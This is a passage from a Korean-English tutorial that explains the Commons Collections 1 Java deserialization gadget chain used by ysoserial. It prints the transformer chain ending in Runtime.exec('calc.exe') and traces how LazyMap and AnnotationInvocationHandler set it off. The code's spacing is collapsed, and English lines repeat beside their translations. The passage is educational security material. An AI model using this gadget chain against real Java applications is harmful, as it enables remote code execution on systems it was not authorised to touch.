String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
코드를 읽어보면 배열의 변환을 어떻게든 연결하면 임의의 명령을 실행할 수 있다는 것을 알 수 있습니다.
In the last section of the payload you can see that a Map object is created. Then, the function decorate is executed from LazyMap with the map object and the chained transformers. From the following code you can see that this will cause the chained transformers to be copied inside lazyMap.factory attribute:
마지막 섹션에서 페이로드를 보면 Map 객체가 생성됩니다. 그런 다음, LazyMap에서 맵 객체와 체인된 변환기를 사용하여 decorate 함수가 실행됩니다. 다음 코드에서 이것이 체인된 변환기가 lazyMap.factory 속성 안에 복사되도록 한다는 것을 알 수 있습니다:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
그리고 마지막 대미가 실행됩니다: lazyMap.get("anything");
이것은 get 함수의 코드입니다:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
그리고 이것은 transform 함수의 코드입니다.
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
그래서, factory 안에 **chainedTransformer**를 저장했음을 기억하세요. 그리고 transform 함수 안에서 우리는 모든 체인된 변환기를 순회하며 하나씩 실행하고 있습니다. 재미있는 점은 각 변환기가 object를 입력으로 사용하고object는 마지막으로 실행된 변환기에서 출력됩니다. 따라서 모든 변환이 악의적인 페이로드를 체인으로 실행하고 있습니다.
요약
결국, lazyMap이 get 메서드 안에서 체인된 변환기를 관리하는 방식 때문에, 마치 우리가 다음 코드를 실행하는 것과 같습니다:
Note that here it was explained the gadgets used for the ComonsCollections1 payload. But it's left how all this starts it's executing. You can see here that ysoserial, in order to execute this payload, uses an AnnotationInvocationHandler object because when this object gets deserialized, it will invoke the payload.get() function that will execute the whole payload.
Java Thread Sleep
이 페이로드는 웹이 취약한지 확인하는 데 유용할 수 있으며, 취약할 경우 슬립을 실행합니다.